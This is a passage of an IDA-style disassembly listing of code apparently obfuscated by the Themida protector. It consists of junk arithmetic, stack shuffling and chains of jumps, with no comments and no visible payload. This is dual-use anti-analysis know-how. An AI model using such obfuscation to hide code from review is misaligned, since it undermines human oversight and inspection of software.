		jmp	loc_5A939D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59DBE5
; ---------------------------------------------------------------------------


loc_599A80:				; CODE XREF: Themida_:005ADFD9j
		or	edx, 2D724B8Fh
		xor	edx, 0BF7AFFEDh
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	42FC1D03h
		pop	esi
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, ebp
		add	eax, 42FC1D03h
		push	dword ptr [esp]
		jmp	loc_5A2E06
; ---------------------------------------------------------------------------


loc_599AB5:				; CODE XREF: Themida_:005A61B0j
		xor	dl, al
		mov	ax, [esp]
		jmp	loc_5A7D7E
; ---------------------------------------------------------------------------


loc_599AC0:				; CODE XREF: Themida_:005A1908j
		mov	ecx, 7F014AB4h
		add	ebx, ecx
		jmp	loc_5A4903
; ---------------------------------------------------------------------------


loc_599ACC:				; CODE XREF: Themida_:0059F8DEj
					; Themida_:loc_5A6E7Aj
		push	edi
		push	esp
		pop	edi
		push	edx
		push	ebp
		jmp	loc_59C9ED
; ---------------------------------------------------------------------------


loc_599AD6:				; CODE XREF: Themida_:005A80A2j
		and	ebx, 483A0113h
		js	loc_5A8745
		shr	ebx, 2
		jmp	loc_5988E9
; ---------------------------------------------------------------------------


loc_599AEA:				; CODE XREF: Themida_:005A90ECj
		mov	ch, 5Ch
		xor	ch, 0D9h
		jmp	loc_5A84C0
; ---------------------------------------------------------------------------


loc_599AF4:				; CODE XREF: Themida_:005A159Dj
		neg	eax
		sub	eax, 791679B2h
		neg	eax
		sub	eax, 5B0F5775h
		or	esi, eax
		pop	eax
		jmp	loc_5AB253
; ---------------------------------------------------------------------------


loc_599B0A:				; CODE XREF: Themida_:0059EC6Cj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	eax
		jmp	loc_5A463B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A9857
; ---------------------------------------------------------------------------


loc_599B23:				; CODE XREF: Themida_:0059E246j
					; Themida_:005A708Fj
		add	eax, 60503D8Ah
		push	ebp
		jmp	loc_5A28EE
; ---------------------------------------------------------------------------


loc_599B2E:				; CODE XREF: Themida_:005AED26j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 29EE1B6Fh
		shl	edi, 6
		jmp	loc_5ABDDF
; ---------------------------------------------------------------------------


loc_599B42:				; CODE XREF: Themida_:005AD82Dj
		shr	ch, 5
		jz	loc_5AC6A9
		neg	ch
		jle	loc_5A196B
		jmp	loc_5A6194
; ---------------------------------------------------------------------------
		xor	al, bl
		pop	ebx
		push	ecx
		push	edx
		pop	esp


loc_599B5E:				; CODE XREF: Themida_:005A0AFCj
					; Themida_:005A6225j
		pop	eax
		push	edx
		mov	dl, 27h
		jmp	loc_5A3360
; ---------------------------------------------------------------------------


loc_599B67:				; CODE XREF: Themida_:005983AEj
		sub	cl, 0D5h
		jl	loc_599257
		push	edx
		mov	dh, 5Bh
		xor	cl, dh
		pop	edx
		not	cl
		jmp	loc_5ABC8B
; ---------------------------------------------------------------------------


loc_599B7D:				; CODE XREF: Themida_:005A1309j
		push	edx
		mov	dl, 0F1h
		neg	dl
		jnz	loc_59EACA
		neg	dl
		jz	loc_5AB2BA
		and	dl, 0A8h
		sub	dl, 0D6h
		pop	esp


loc_599B97:				; CODE XREF: Themida_:00598EE1j
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 3AAA4A2Eh
		sub	ebx, 7CCB1703h
		sub	ebx, 46717B66h
		sub	ebx, 446D390Fh
		add	ebx, edi
		add	ebx, 446D390Fh
		add	ebx, 46717B66h
		push	eax
		mov	eax, 23231F6Ah
		sub	eax, 72A501F1h
		jmp	loc_5A19F7
; ---------------------------------------------------------------------------


loc_599BD5:				; CODE XREF: Themida_:loc_5AA078j
		xor	ebx, 60763E99h
		mov	ebp, ebx
		jmp	loc_5A52C5
; ---------------------------------------------------------------------------


loc_599BE2:				; CODE XREF: Themida_:005A9D7Aj
		add	eax, edx
		jmp	loc_5A426A
; ---------------------------------------------------------------------------


loc_599BE9:				; CODE XREF: Themida_:0059EA8Cj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	edi
		push	261F0E8Eh
		jmp	loc_5A4280
; ---------------------------------------------------------------------------


loc_599BFF:				; CODE XREF: Themida_:005A46AFj
		sub	ebp, ebx
		add	ebp, 4D5319CFh
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	76073252h
		mov	esi, [esp]
		jmp	loc_5A81B7
; ---------------------------------------------------------------------------


loc_599C1C:				; CODE XREF: Themida_:005A647Fj
		mov	edx, 5B837635h
		sub	esi, edx
		pop	edx
		add	ebx, esi
		pop	esi
		jmp	loc_59BBD2
; ---------------------------------------------------------------------------


loc_599C2C:				; CODE XREF: Themida_:0059FBD1j
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	0B5A1E32h
		pop	eax
		xor	eax, 0B5A1E36h
		mov	edi, eax
		pop	eax
		add	eax, 459D300Eh
		add	eax, edi
		sub	eax, 459D300Eh
		jmp	loc_5A35AF
; ---------------------------------------------------------------------------


loc_599C57:				; CODE XREF: Themida_:005AE75Aj
		add	esi, edx
		add	esi, 1305770Ch
		pop	edx
		or	esi, 4B805DB1h
		jg	loc_5AB63B
		shr	esi, 7
		jnp	loc_599EF6
		add	esi, 210C7189h
		and	dh, 8
		push	eax


loc_599C7F:				; CODE XREF: Themida_:0059A243j
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 59956E54h
		push	esi
		jmp	loc_5984CE
; ---------------------------------------------------------------------------


loc_599C97:				; CODE XREF: Themida_:005A5C88j
		push	edi
		mov	edi, 9F63B7C2h
		push	edx
		mov	edx, 11256995h
		sub	ebx, edx
		pop	edx
		sub	ebx, 6C8F6F5Ch
		add	ebx, edi
		add	ebx, 6C8F6F5Ch
		add	ebx, 11256995h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A733F
; ---------------------------------------------------------------------------


loc_599CC8:				; CODE XREF: Themida_:005AB78Cj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	7E3Ah
		mov	[esp], edx
		push	7E5Ch
		mov	[esp], edi
		mov	edi, 2C8B1A13h
		jmp	loc_5A5F6F
; ---------------------------------------------------------------------------


loc_599CF1:				; CODE XREF: Themida_:005A1E30j
		pop	edi
		and	edx, 120942FFh
		jmp	loc_5AB79B
; ---------------------------------------------------------------------------


loc_599CFD:				; CODE XREF: Themida_:005AB80Dj
		push	ebx
		push	edx
		mov	dh, 57h
		xor	dh, 60h
		jns	loc_5AE707
		or	dh, 7Eh
		jmp	loc_5A69D8
; ---------------------------------------------------------------------------
		mov	esi, 46E03866h
		push	ebx


loc_599D18:				; CODE XREF: Themida_:005AEE5Ej
		add	eax, 71412064h
		jnb	loc_5AB984
		add	eax, 0E8BB92D8h
		jmp	loc_5AD0FD
; ---------------------------------------------------------------------------


loc_599D2D:				; CODE XREF: Themida_:005AE7A5j
		pop	esi
		and	edx, edi
		pop	edi
		xchg	esi, edx
		not	esi
		push	edx
		jmp	loc_5A27CF
; ---------------------------------------------------------------------------


loc_599D3B:				; CODE XREF: Themida_:0059C4F1j
		mov	ebp, [esp]
		jmp	loc_5AA991
; ---------------------------------------------------------------------------


loc_599D43:				; CODE XREF: Themida_:0059A9CBj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_599D48:				; CODE XREF: Themida_:005A3D17j
		mov	esi, [esp]
		push	ebx
		jmp	loc_5A2534
; ---------------------------------------------------------------------------


loc_599D51:				; CODE XREF: Themida_:005A3D7Dj
		xor	ebp, [esp]
		jmp	loc_5A835A
; ---------------------------------------------------------------------------


loc_599D59:				; CODE XREF: Themida_:005A3953j
		push	edx
		mov	edx, 4EE319EAh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 543559AEh
		dec	ebp
		not	ebp
		jmp	loc_59F768
; ---------------------------------------------------------------------------


loc_599D72:				; CODE XREF: Themida_:005ACA34j
		sub	eax, 5D012487h
		not	eax
		jmp	loc_59A2E2
; ---------------------------------------------------------------------------


loc_599D7E:				; CODE XREF: Themida_:005ABF83j
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		jmp	loc_59A27D
; ---------------------------------------------------------------------------


loc_599DA3:				; CODE XREF: Themida_:005AADB6j
		mov	eax, 66C560BBh
		or	eax, 21F11384h
		dec	eax
		xor	eax, 58252B0Fh
		xor	eax, 36792564h
		push	edx
		mov	edx, 63D365Ah
		jmp	loc_59CE6E
; ---------------------------------------------------------------------------


loc_599DC3:				; CODE XREF: Themida_:005AC3D7j
		pop	edx
		mov	ch, bl
		jmp	loc_59DBAE
; ---------------------------------------------------------------------------


loc_599DCB:				; CODE XREF: Themida_:005A4310j
		pop	cx
		jmp	loc_59D39F
; ---------------------------------------------------------------------------


loc_599DD2:				; CODE XREF: Themida_:005994FAj
		mov	eax, [esp]
		add	esp, 4
		push	small 0
		sub	[esp], dh
		mov	dh, [esp]
		add	esp, 2
		shr	dh, 4
		jmp	loc_59CB53
; ---------------------------------------------------------------------------


loc_599DF0:				; CODE XREF: Themida_:005A1F50j
					; Themida_:005AA5A9j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	23D8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edx
		mov	edx, 418338A8h
		inc	edx
		and	edx, 62106B7Ah
		neg	edx
		sub	edx, 0BFFFD7D6h
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5ABE06
; ---------------------------------------------------------------------------


loc_599E3F:				; CODE XREF: Themida_:005A345Bj
		push	57CEh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	1D513106h
		pop	edi
		and	edi, 36554B56h
		jmp	loc_5AB91F
; ---------------------------------------------------------------------------


loc_599E61:				; CODE XREF: Themida_:005A4A07j
		jns	loc_5A43B7
		sub	edx, 46DC0FA9h
		sub	edx, 0B1B53980h
		mov	esi, ecx
		pop	ebp


loc_599E76:				; CODE XREF: Themida_:005991A6j
		pop	ebx
		add	ecx, 26930F16h
		add	ecx, 195C0535h
		xor	ebx, ecx
		pop	ecx
		push	ecx
		push	36C8476Ch
		pop	ecx
		jmp	loc_598994
; ---------------------------------------------------------------------------


loc_599E92:				; CODE XREF: Themida_:005A905Aj
		mov	ebx, eax
		jmp	loc_598E1A
; ---------------------------------------------------------------------------


loc_599E99:				; CODE XREF: Themida_:005A51ADj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A818D
; ---------------------------------------------------------------------------


loc_599EA3:				; CODE XREF: Themida_:005AEAC5j
		mov	ebp, edx
		pop	edx
		jmp	loc_5AC2B5
; ---------------------------------------------------------------------------


loc_599EAB:				; CODE XREF: Themida_:00598863j
		push	1133h
		mov	[esp], eax
		push	ebp
		mov	ebp, 544D12ECh
		jmp	loc_59DAF5
; ---------------------------------------------------------------------------


loc_599EBE:				; CODE XREF: Themida_:0059B91Ej
					; Themida_:005AF410j
		mov	ebx, 1
		and	ecx, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_5A0EF2
; ---------------------------------------------------------------------------


loc_599ECE:				; CODE XREF: Themida_:0059AB6Bj
		sub	eax, edx
		pop	edx
		jmp	loc_5A6310
; ---------------------------------------------------------------------------


loc_599ED6:				; CODE XREF: Themida_:0059F792j
		jmp	loc_59FAEF
; ---------------------------------------------------------------------------


loc_599EDB:				; CODE XREF: Themida_:0059CFFBj
		xor	edi, 0D7791B02h
		sub	ebp, edi
		pop	edi
		pop	edi
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_599EF6:				; CODE XREF: Themida_:00599C6Fj
		add	esi, 210C7189h
		jmp	loc_5AF058
; ---------------------------------------------------------------------------


loc_599F01:				; CODE XREF: Themida_:00598675j
		mov	ebx, esp
		add	ebx, 4
		push	364Dh
		mov	[esp], eax
		jmp	loc_598E90
; ---------------------------------------------------------------------------


loc_599F16:				; CODE XREF: Themida_:005A9F84j
		push	ecx
		dec	byte ptr [esp+1]
		pop	ecx
		shl	ch, 5
		add	ch, 0Eh
		add	al, ch
		jmp	loc_59BD60
; ---------------------------------------------------------------------------


loc_599F29:				; CODE XREF: Themida_:005AC409j
		mov	eax, 4
		push	7CA8h
		jmp	loc_5A660B
; ---------------------------------------------------------------------------


loc_599F38:				; CODE XREF: Themida_:0059E679j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5AB092
; ---------------------------------------------------------------------------


loc_599F44:				; CODE XREF: Themida_:005A694Dj
		pop	ebx
		add	al, 92h
		sub	al, 94h
		push	ecx
		mov	cl, 0FDh
		neg	cl
		neg	cl
		jmp	loc_5A4973
; ---------------------------------------------------------------------------


loc_599F55:				; CODE XREF: Themida_:005AA3BCj
		add	edx, 320B1570h
		sub	edx, 68B0464Ch
		sub	edx, 32B101F7h
		jmp	loc_5AC665
; ---------------------------------------------------------------------------


loc_599F6C:				; CODE XREF: Themida_:0059C575j
		dec	ecx
		not	ecx
		jmp	loc_5A8D92
; ---------------------------------------------------------------------------


loc_599F74:				; CODE XREF: Themida_:005A800Cj
		push	edx
		jmp	loc_5AA310
; ---------------------------------------------------------------------------


loc_599F7A:				; CODE XREF: Themida_:005A28FBj
		or	ebp, ecx
		pop	ecx
		add	ebp, 46C750E7h
		xor	ebp, 39F00D53h
		sub	ebp, 9A79E5B3h
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_5AAA8C
; ---------------------------------------------------------------------------


loc_599F9E:				; CODE XREF: Themida_:005A51C5j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, 69A00AF5h
		sub	ecx, ebx
		sub	ecx, 69A00AF5h
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	1E58h
		mov	[esp], edx
		jmp	loc_5A75C1
; ---------------------------------------------------------------------------


loc_599FD4:				; CODE XREF: Themida_:0059A371j
		pop	edi
		pop	ebp
		sub	dword ptr [esp], 5B0E0DD2h
		push	7EA2h
		mov	[esp], ebp
		push	edi
		jmp	loc_5A709F
; ---------------------------------------------------------------------------


loc_599FEB:				; CODE XREF: Themida_:005A681Dj
		add	esp, 4
		jmp	loc_5A2CE3
; ---------------------------------------------------------------------------


loc_599FF3:				; CODE XREF: Themida_:005A3FF6j
		add	edx, 7AB14EA7h
		mov	ebx, edx
		pop	edx
		jmp	loc_5ACBB8
; ---------------------------------------------------------------------------


loc_59A001:				; CODE XREF: Themida_:0059D0ADj
		add	cl, 2Dh
		mov	dh, cl
		pop	ecx
		add	dh, 5
		jmp	loc_5A8472
; ---------------------------------------------------------------------------


loc_59A00F:				; CODE XREF: Themida_:loc_5AD4ADj
		push	ebp
		mov	ebp, 0ED060D3h
		neg	ebp
		and	ebp, 50A13385h
		not	ebp
		xor	ebp, 0DA008D7Ah
		or	eax, ebp
		jmp	loc_5A1406
; ---------------------------------------------------------------------------


loc_59A02C:				; CODE XREF: Themida_:005A354Dj
		push	dword ptr [esp+4]
		jmp	loc_59BBBD
; ---------------------------------------------------------------------------


loc_59A035:				; CODE XREF: Themida_:005A925Bj
		jmp	loc_59F136
; ---------------------------------------------------------------------------


loc_59A03A:				; CODE XREF: Themida_:0059FC37j
					; Themida_:005A664Dj
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 28B52F40h
		add	edx, 7C6612CAh
		jmp	loc_59B6F5
; ---------------------------------------------------------------------------


loc_59A04E:				; CODE XREF: Themida_:005A369Ej
					; Themida_:005AF180j
		push	ecx
		jmp	loc_5A0DAC
; ---------------------------------------------------------------------------


loc_59A054:				; CODE XREF: Themida_:005AA21Cj
		pop	edx
		push	ebp
		jmp	loc_5A1E9E
; ---------------------------------------------------------------------------


loc_59A05B:				; CODE XREF: Themida_:0059F2D4j
		xor	ebx, 0B7262831h
		jmp	loc_5A1E97
; ---------------------------------------------------------------------------


loc_59A066:				; CODE XREF: Themida_:0059A2C8j
		mov	eax, esp
		jmp	loc_59C28F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	32A8h
		mov	[esp], edi
		jmp	loc_5ADC2F
; ---------------------------------------------------------------------------


loc_59A07E:				; CODE XREF: Themida_:0059AD27j
		xor	ebx, ebp
		pop	ebp
		add	ebx, 3F3239B9h
		shl	ebx, 3
		or	ebx, 6B1616F7h
		jmp	loc_5997C0
; ---------------------------------------------------------------------------


loc_59A095:				; CODE XREF: Themida_:loc_5A99A3j
					; Themida_:005AAA9Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59F8F9
; ---------------------------------------------------------------------------


loc_59A09E:				; CODE XREF: Themida_:005A52B3j
		sub	eax, 5DB97B74h
		jmp	loc_5AD36C
; ---------------------------------------------------------------------------


loc_59A0A8:				; CODE XREF: Themida_:005A341Dj
		and	edi, 2DCC7124h
		add	edi, 0DBF7DFE0h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_59F9C7
; ---------------------------------------------------------------------------


loc_59A0BF:				; CODE XREF: Themida_:005A624Bj
		add	ecx, 54752313h
		not	ecx
		add	ecx, 555D239Bh
		jmp	loc_59F901
; ---------------------------------------------------------------------------


loc_59A0D2:				; CODE XREF: Themida_:005A0805j
		mov	[esp], ebp
		jmp	loc_5A788B
; ---------------------------------------------------------------------------


loc_59A0DA:				; CODE XREF: Themida_:005A6672j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 4
		push	6025h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 2
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 2CDC4894h
		jmp	loc_5A1B15
; ---------------------------------------------------------------------------


loc_59A116:				; CODE XREF: Themida_:005A1D59j
		sub	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		add	al, 68h
		add	al, ch
		sub	al, 68h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ch, 5Bh
		and	ch, 61h
		jmp	loc_5A938C
; ---------------------------------------------------------------------------


loc_59A137:				; CODE XREF: Themida_:005A6DB0j
		sub	esp, 4
		jmp	loc_5AE9CC
; ---------------------------------------------------------------------------


loc_59A142:				; CODE XREF: Themida_:00598735j
					; Themida_:005AAE95j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59B64D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_5A8EAE
; ---------------------------------------------------------------------------


loc_59A155:				; CODE XREF: Themida_:0059C1E4j
		pop	edi
		add	edi, 82EB96BFh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		jmp	loc_5AB7BB
; ---------------------------------------------------------------------------


loc_59A16B:				; CODE XREF: Themida_:005AACBBj
					; Themida_:005ABA7Dj
		add	edi, ecx
		sub	edi, 0D5F2FE7h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	edi, 475F2D6Fh
		add	edi, ebp
		sub	edi, 475F2D6Fh
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59DB4C
; ---------------------------------------------------------------------------


loc_59A1A0:				; CODE XREF: Themida_:005AF2EEj
		or	ebp, 5A602026h
		xor	ebp, 3E985C31h
		xor	ebp, 4B9A81D1h
		jmp	loc_5A1790
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 73B0h
		mov	[esp], ax
		jmp	loc_59EEB0
; ---------------------------------------------------------------------------


loc_59A1C8:				; CODE XREF: Themida_:005A5A5Cj
		pop	edi
		push	2D8Bh
		mov	[esp], ebp
		jmp	loc_5A3B2D
; ---------------------------------------------------------------------------


loc_59A1D6:				; CODE XREF: Themida_:0059CBD5j
					; Themida_:loc_5AEC1Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A1B45
; ---------------------------------------------------------------------------


loc_59A1E2:				; CODE XREF: Themida_:005A8F39j
		add	esi, eax
		sub	esi, 36BA0E38h
		pop	eax
		push	edi
		mov	edi, 6C400C84h
		mov	ebx, 6C400C84h
		push	ecx
		mov	ecx, 6B806352h
		jmp	loc_5A4B65
; ---------------------------------------------------------------------------


loc_59A201:				; CODE XREF: Themida_:005A261Cj
		neg	edx
		jl	loc_59910E
		xor	edx, 1DAC4504h
		jl	loc_5A13D2
		jmp	loc_5A95BD
; ---------------------------------------------------------------------------


loc_59A21A:				; CODE XREF: Themida_:005A0B6Ej
		sub	ecx, 175FB614h
		add	esi, 28C0A9Dh
		sub	esi, 2EDA560Dh
		jmp	loc_5A99BC
; ---------------------------------------------------------------------------


loc_59A231:				; CODE XREF: Themida_:0059B0ECj
					; Themida_:0059E843j
		xor	ebx, [esp]
		mov	esp, [esp]
		push	35CAh
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_599C7F
; ---------------------------------------------------------------------------


loc_59A248:				; CODE XREF: Themida_:0059C8E7j
		push	si
		push	ebp
		mov	bp, 2A7Ah
		sub	esp, 2
		jmp	loc_59C7F6
; ---------------------------------------------------------------------------


loc_59A25A:				; CODE XREF: Themida_:005AF00Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 5E0E1621h
		add	edi, 0CC58ECF3h
		and	edi, 724857A7h
		not	edi
		jmp	loc_5AC6A9
; ---------------------------------------------------------------------------


loc_59A27D:				; CODE XREF: Themida_:00599D9Ej
		mov	eax, 101A3D6Ch
		push	ecx
		mov	ecx, 9CAC40Fh
		jmp	loc_5A11AD
; ---------------------------------------------------------------------------


loc_59A28D:				; CODE XREF: Themida_:005AC0C4j
		push	ebx
		mov	bh, 4Fh
		or	bh, 59h
		jmp	loc_59846E
; ---------------------------------------------------------------------------


loc_59A298:				; CODE XREF: Themida_:005A87C7j
					; Themida_:005AA315j
		not	edx
		xor	edx, 0EC38A22Ah
		sub	ebx, edx
		pop	edx
		push	dword ptr [ebx]
		sub	dword ptr [esp], 0F3A43E2h
		pop	ecx
		add	ecx, 0F3A43E2h
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_59A066
; ---------------------------------------------------------------------------


loc_59A2CD:				; CODE XREF: Themida_:0059F2F4j
					; Themida_:005A0A7Dj
		add	bl, ch
		jmp	loc_598F68
; ---------------------------------------------------------------------------


loc_59A2D4:				; CODE XREF: Themida_:005A8C73j
		shr	edx, 1
		and	edx, 578803CFh
		xchg	eax, edx
		jmp	loc_5A41BD
; ---------------------------------------------------------------------------


loc_59A2E2:				; CODE XREF: Themida_:00599D79j
		push	esi
		mov	esi, 1D18D9h
		sub	eax, esi
		pop	esi
		add	edx, 0D6649ACh
		add	edx, eax
		push	ebp
		mov	ebp, 561Fh
		xor	ebp, 2CE2108Dh
		neg	ebp
		neg	ebp
		sub	ebp, 1F7BFCE6h
		sub	edx, ebp
		jmp	loc_598B3C
; ---------------------------------------------------------------------------


loc_59A310:				; CODE XREF: Themida_:005AE3FEj
		inc	edx
		jo	loc_5A8713
		xor	edx, 4902666Fh
		mov	esi, edx
		pop	edx
		xor	ebx, esi
		pop	esi
		push	ebx
		mov	ebx, 4B6E4852h
		add	ebp, ebx
		pop	ebx
		sub	ebp, ebx
		sub	ebp, 4B6E4852h
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	6233h
		jmp	loc_5AD910
; ---------------------------------------------------------------------------


loc_59A35C:				; CODE XREF: Themida_:00598FEDj
		jmp	loc_5A9EB6
; ---------------------------------------------------------------------------


loc_59A361:				; CODE XREF: Themida_:0059EA2Fj
					; Themida_:005AA882j
		push	328Ch
		jmp	loc_5AA946
; ---------------------------------------------------------------------------


loc_59A36B:				; CODE XREF: Themida_:005A200Ej
		pop	edx
		sub	edi, esi
		pop	esi
		sub	eax, edi
		jmp	loc_599FD4
; ---------------------------------------------------------------------------


loc_59A376:				; CODE XREF: Themida_:005A8188j
		mov	[esp], edx
		mov	edx, 6BE55E05h
		shl	edx, 3
		add	edx, 4254066Fh
		shl	edx, 8
		push	2D9Eh
		mov	[esp], ebp
		push	3756192Ch
		pop	ebp
		xor	ebp, 71751C14h
		and	ebp, 560253Eh
		add	ebp, 21233B03h
		jmp	loc_5AC1CD
; ---------------------------------------------------------------------------


loc_59A3AF:				; CODE XREF: Themida_:005A26B7j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		push	10968D2h
		jmp	loc_5AF4D1
; ---------------------------------------------------------------------------


loc_59A3CB:				; CODE XREF: Themida_:0059BBBEj
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	3986h
		mov	[esp], edi
		push	esp
		jmp	loc_5AE179
; ---------------------------------------------------------------------------


loc_59A3E1:				; CODE XREF: Themida_:00599235j
					; Themida_:0059C517j
		pop	edi
		inc	edi
		jmp	loc_5A5092
; ---------------------------------------------------------------------------


loc_59A3E8:				; CODE XREF: Themida_:005AF258j
		push	6A24h
		mov	[esp], ecx
		push	esi
		push	40652BAEh
		pop	esi
		sub	esi, 7DCB961h
		mov	ecx, esi
		jmp	loc_5A7CE5
; ---------------------------------------------------------------------------


loc_59A404:				; CODE XREF: Themida_:005ACA66j
		mov	esi, 31571AE2h
		push	4DB4h
		mov	[esp], edi
		mov	edi, 494674CCh
		sub	eax, edi
		pop	edi
		add	eax, esi
		jmp	loc_5A0DCE
; ---------------------------------------------------------------------------


loc_59A420:				; CODE XREF: Themida_:005A197Cj
		jmp	loc_5A2F71
; ---------------------------------------------------------------------------


loc_59A425:				; CODE XREF: Themida_:005AA20Fj
		sub	ebp, edi
		jmp	loc_5A2FD2
; ---------------------------------------------------------------------------


loc_59A42C:				; CODE XREF: Themida_:0059863Dj
					; Themida_:005A0AD0j
		mov	esi, 6D763817h
		dec	esi
		jmp	loc_59BBB6
; ---------------------------------------------------------------------------


loc_59A437:				; CODE XREF: Themida_:0059BB0Bj
		pop	ebx
		push	eax
		jmp	loc_5A8C37
; ---------------------------------------------------------------------------


loc_59A43E:				; CODE XREF: Themida_:005AD3E2j
		inc	ebx
		jo	loc_5A0913
		inc	ebx
		js	loc_5AB7CB
		xor	ebx, 9C84D652h
		mov	ebp, ebx
		mov	ebx, [esp]
		mov	ebp, edi


loc_59A459:				; CODE XREF: Themida_:0059AB3Fj
					; Themida_:005A1E1Aj
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	3E6h
		mov	[esp], edx
		push	edi
		push	ebp
		mov	ebp, 0F005C8Dh
		sub	ebp, 233C648Bh
		jg	loc_5AF14C
		jmp	loc_59C0BB
; ---------------------------------------------------------------------------


loc_59A485:				; CODE XREF: Themida_:005A5EF2j
		push	ebx
		push	ecx
		mov	ecx, 2E807594h
		xor	ecx, 76AC2F20h
		add	ecx, 0ACB909E7h
		mov	ebx, ecx
		pop	ecx
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59A4B8:				; CODE XREF: Themida_:005A44CEj
		pop	esi
		jmp	loc_59E838
; ---------------------------------------------------------------------------


loc_59A4BE:				; CODE XREF: Themida_:0059FE76j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	7E53h
		mov	[esp], ecx
		mov	ecx, 667943AEh
		push	edi
		jmp	loc_5A67B0
; ---------------------------------------------------------------------------


loc_59A4DC:				; CODE XREF: Themida_:005AD6BEj
		push	esi
		mov	si, 265Ah
		not	si
		push	edi
		mov	di, 442Dh
		jmp	loc_59D6BB
; ---------------------------------------------------------------------------


loc_59A4EE:				; CODE XREF: Themida_:005A4A8Bj
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_5A6584
; ---------------------------------------------------------------------------


loc_59A4FE:				; CODE XREF: Themida_:005A80BFj
		push	edi
		mov	edi, 69A67DC9h
		push	ecx
		mov	ecx, 1
		add	edi, ecx
		pop	ecx
		sub	edi, 41C67FC0h
		add	edi, 0DA2001F7h
		add	ebx, edi
		pop	edi


loc_59A51C:				; CODE XREF: Themida_:005A26C8j
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_59C3FA
; ---------------------------------------------------------------------------


loc_59A52B:				; CODE XREF: Themida_:0059F5F7j
		add	esp, 4
		jmp	loc_5AA1F9
; ---------------------------------------------------------------------------


loc_59A533:				; CODE XREF: Themida_:005A6C91j
		xor	ebx, 286B7471h
		jmp	loc_59E850
; ---------------------------------------------------------------------------


loc_59A53E:				; CODE XREF: Themida_:005A13F4j
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
